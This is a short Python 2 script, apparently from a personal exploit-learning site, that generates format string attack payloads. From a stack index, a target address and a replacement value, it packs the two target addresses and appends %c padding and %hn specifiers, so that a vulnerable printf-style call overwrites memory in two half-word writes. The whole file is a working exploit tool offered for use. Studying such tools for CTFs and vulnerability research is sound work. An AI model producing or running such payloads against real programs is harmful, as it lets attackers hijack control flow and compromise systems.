formatstr.py

#!/usr/bin/env python

'''
Format string exploitation utility
by: Ole Aass (www.oleaass.com)

This script has one job, which is to overwrite one address with another 

This script takes three inputs.

  1. Stack index
  2. The address that should be overwritten
  3. The new address

Usage:
$ python formatstr.py 7 0x08048414 0xdeadbeef

'''


from struct import pack
import sys

def p(x):
    return pack('<L', x)

if len(sys.argv) is not 4:
    print "[~] usage: %s <index> <address_to_overwrite> <address_to_write>"
    exit(0)

index = int(sys.argv[1])
overwrite_addr = int(sys.argv[2],16)
new_addr = sys.argv[3]

hob = new_addr[2:6]
lob = new_addr[6:]

if (int(lob,16) - int(hob,16)) < 0:
    lob = '1' + lob

offset_hob = (int(hob,16) - 8)
offset_lob = (int(lob,16) - int(hob,16))

payload = ''

payload += p(overwrite_addr + 2)
payload += p(overwrite_addr)
payload += '%%%dc'%(offset_hob)
payload += '%%%d$hn'%(index)
payload += '%%%dc'%(offset_lob)
payload += '%%%d$hn'%(index+1)

print payload